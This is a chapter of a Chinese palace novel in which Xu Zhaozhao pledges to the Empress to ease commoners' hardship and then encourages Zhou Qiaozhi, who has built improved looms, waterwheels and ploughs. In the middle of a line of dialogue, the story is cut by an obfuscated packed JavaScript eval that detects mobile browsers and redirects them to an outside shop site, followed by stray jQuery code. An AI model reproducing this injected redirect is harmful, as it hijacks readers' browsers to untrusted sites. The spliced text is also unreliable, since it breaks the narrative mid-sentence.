初冬的夜来得早。
许昭昭到长信宫的时候，天色刚刚暗下来，宫道上的灯笼还没点，只有殿内透出一片暖黄的光。
她没让人通报，自己走进去的。
皇后坐在灯下，面前摊着几页纸，手里端着一杯茶，没有喝，只是握着。
她听见脚步声，没有抬头，只把跟前那几页纸推朝许昭昭推了过去。
“你看看。”
许昭昭接过去。
直隶城郊，织户昼夜踩机，月入不足半钱。江南农户，秋收之后，家中空空。
她手里的几张纸，纸页粗糙，边角卷曲，像是被人翻了很多遍。皇后姜明澜兰心蕙质、谨言慎行，她这里从来都没有多余的话和多余的动作。
今天让她来，她大概已经猜到了她的意图。
许昭昭把纸放下，静静等皇后发话。殿内很安静，风从门缝里灌进来，吹得烛火晃了晃。过了好一会儿，皇后才望着她问，“想必你已经知道我的意图了吧。”
“知道。”许昭昭说。
“我信你。”
皇后姜明澜只说了三个字。虽然只有三个字，却有千斤之重。
这像是临危受命。
长久地沉默了之后，许昭昭终于开口。
“宫外的事，我一直知道。但我一直没有动。”她停了一下，看向窗外沉沉的夜色。“因为我不知道从哪里开始。老百姓的日子苦，这个我知道。可是要怎么改，用什么改，改了之后会不会被人一口吞掉——我一直没想好。”
皇后诧异地看向她，没想到，她早就在筹谋，只是碍于现实暂时没有动。
“现在呢？”皇后问。
许昭昭没有点头，没有摇头。
她看着桌上那些纸，看着上面那些潦草的字迹，看着纸页边缘被人反复摩挲留下的毛边。
“想好了一件事。”她说，“一件本身有很大难度的事情，任何时候你要去做都会很难。与其退缩，不如去做。事情已经摆在面前了，只能说明，想退缩也不行了。”
皇后沉默了一会儿。
风又灌进来，吹得桌上的纸页翻了一下，她没有去按。
“这件事的难度来源于何处，你可曾想过？”
许昭昭懂皇后姜明澜的意思，她沉默片刻回答，“这才是最难的地方。”
断人财路，如杀人父母。
如果要改革，势必会影响到世家贵族们的利益。
但但难就不做了吗？如果世人都畏难，这个世上永远都没有人去做，那这世道永远都不会改变，老百姓永远都只能过苦日子。
“我一直都觉得自己没有看错人。”皇后端起那杯已经凉透的茶，抿了一口，又放下，“我要的就是你刚刚的话。你一直都是一个勇敢的人。事情你尽管去做。其它交给我。”
许昭昭眸光发亮地看向皇后姜明澜。
很多次，她都知道她在背后帮他们。
这样明确地说支持，还是第一次。
君子谋定而后动，之前她不敢轻举妄动，是觉得他们的力量实在是太有限。时机未必成熟。现在有皇后，再一个周巧织，她觉得可以开始了。
许昭昭出了长信宫，沿着宫道往西北角走。
天已经黑透了，宫道上的灯笼还没点，只有远处几盏稀稀拉拉的亮着。
她走得不快，像在想什么，又像什么都没想。
她拐进那条偏僻的巷子，周巧织的偏殿门半掩着，里面的灯还亮着，光从门缝里漏出来，细细的一线。
许昭昭推开门，走进去。
周巧织坐在灯下，手里拿着一块木头，正在削。刨花落了一地，厚厚一层，她没有扫。
听见脚步声，她抬起头，看见是许昭昭，愣了一下，然后低下头，继续削。许昭昭自己进来的，拉了一把椅子坐下。她坐了一会儿，没有说话。周巧织也不说话，埋头削着手里的木头。
两个人又沉默了很久后，许昭昭先开口。
声音不大，像在自言自语。
“今天在皇后那里看了一些东西。直隶那边的织户，夫妻两个日夜不停地踩织机，一个月下来，到手不到半钱银子。江南的农户，春耕夏耘，一亩地收不了几斗粮。缴完租子，家里就空了。老人没粮吃，孩子饿肚子。我在想，他们为什么这么难。”
周巧织的手慢了下来，但没有停。
她低着头，看着手里的木头，过了很久，终于开口了。
她声音很小。
“我爹以前犁地，一整天弯着腰，回家腰都直不起来。我娘踩织布机，脚上全是水泡。冬天手冻裂了还在织。我就想，要是能有什么东西，让他们少弯一次腰，少踩一脚踏板，就好了。”
她没有说下去，但许昭昭懂了。
她懂那种“见不得人受苦”的仁心，和周巧织是一样的。
师父说，有仁心就够了。
够了。
周巧织把手里的木头放下，站起来，走到屋角，蹲下去，拉开那个旧木箱。
她把里面的东西一样一样拿出来，放在桌上。
许昭昭走过去，一个一个拿起来看。
织布机、水车、犁，每一件都打磨得光滑，每一处榫卯都严丝合缝。
周巧织站在旁边，小声说：“卡扣松了一点，丝线不容易断。踏板的位置挪了半寸，踩起来省力。”
她停了一下，又说：“桨叶的角度调了，水流推得动，转得快。”
她指着一张纸，“犁头的角度削短了半寸，转弯不会卡住。我爹以前犁地，转弯总要停下来抬一下犁头，我想着要是能让他少抬一下就好了。”
许昭昭把那几样东西都看完了，没有夸她“做得好”，没有说“你真厉害”。她只是问了一句：“这些东西，你做了多久？”
周巧织低头想了想。
“三年。”
“三年，都在做这些？”
“不是。”周巧织的声音更小了，“也在做别的。他们让我做玩具，给皇子、给娘娘。那些我都做了。做完玩具，我就回来做这些。”
许昭昭看着她，没有说话。
她看见周巧织的手上，全是茧，有的地方裂了口子，结了黑红的痂。
她看了很久，指着多出来的一堆玩具问，“那些玩具呢？”周巧织愣了一下。
“你做的那些玩具，给谁做的？”许昭昭问。
“给我弟弟。”她的声音更小了，像怕被人听见，“进宫之前，他一直追着我做的鸟跑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638426|205704||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他说‘姐姐你什么时候再给我做一只’。我答应他了，还没有给他。”
她指了指墙角。许昭昭顺着看过去，墙角还堆着几个布包，有的包了一半，有的还没包。她走过去，发现里面是木猴子、会飞的鸟、能走的小人——大大小小，很多很多。
“你做这些东西的时候，是不是想着他？”许昭昭问。
“嗯。”周巧织低着头，“想着他收到的时候，会不会还像小时候一样跑着追。”
许昭昭望着她，心想她的心或许一直还留在宫外，从来没有真正进来过。
“你改的东西，我让人送出宫去试试。那些玩具，也一起送出去。”
风灌进来，吹得桌上的油灯晃了晃。周巧织站在原地，手捏着衣角，声音比刚才更小了，带着一种她自己也说不清楚的怕：“我弟弟能收到吗？还有我父母……”
她的意思，许昭昭懂。
她不是怕东西送不到，她是怕三年过去了，已经没有人等了。
怕她弟弟长大了，已经不追鸟了。
怕她父母已经不在了。
她问不出口，她只能问“能收到吗”。
许昭昭看着她，没有说“能”，没有说“放心”。
她只是说：“弟弟那边争取收到。父母，你放心，你做出来的这些东西，做出来之后，不仅要送到你父母手上，还送到千千万万的父母手上。你做的这些东西，会让他们不那么操劳，让他们生活更加富足。”
周巧织性格偏沉静木讷，几乎没有什么大的情绪起伏。
这一刻，许昭昭却从她的眼里，看到了闪烁的光。
“真的吗？”她问。
声音还是小的，但和之前不一样了。像一个人在黑暗里待了很久，忽然有人告诉她前面有光。她不敢信，但她想信。
“我不骗人。”
周巧织没有说话。
她低下头，看着桌上那些东西——织布机、水车、犁。
她做了三年，没有人看过，没有人问过。
现在有人要替她送出去了。她看见那只半成品的木鸟，还躺在布包上面，等着她装完翅膀。她走过去，拿起来，低头摸了摸它的羽翼，没有说话。
“不知道我父母还好？三年，他们有没有被累垮？吃穿够不够？还有弟弟，长高了多少？还会不会喜欢我做的玩具……”
她的声音越来越小，最后几乎听不见了。
许昭昭没有接话。她知道周巧织不是在问她，是在问自己。她走过去，把那只木鸟从周巧织手里接过来，看了看，又放回布包上。
“我走了。”许昭昭说。
她推开门。
风灌进来，吹得桌上的油灯晃了晃，又稳住了。
许昭昭没有回头。“会到的。”
她走了。
周巧织一个人站在屋里，看着那扇关上的门，站了很久。
她蹲下来，把木箱里的东西又看了一遍，然后轻轻合上箱盖。她坐回灯下，拿起那块半成型的木头，继续削。刨花又落了一片。
她低头看了一眼，没有捡。她只是在想——那只鸟，能不能飞到她弟弟手上。
她不知道。
但她知道，现在有人替她送了。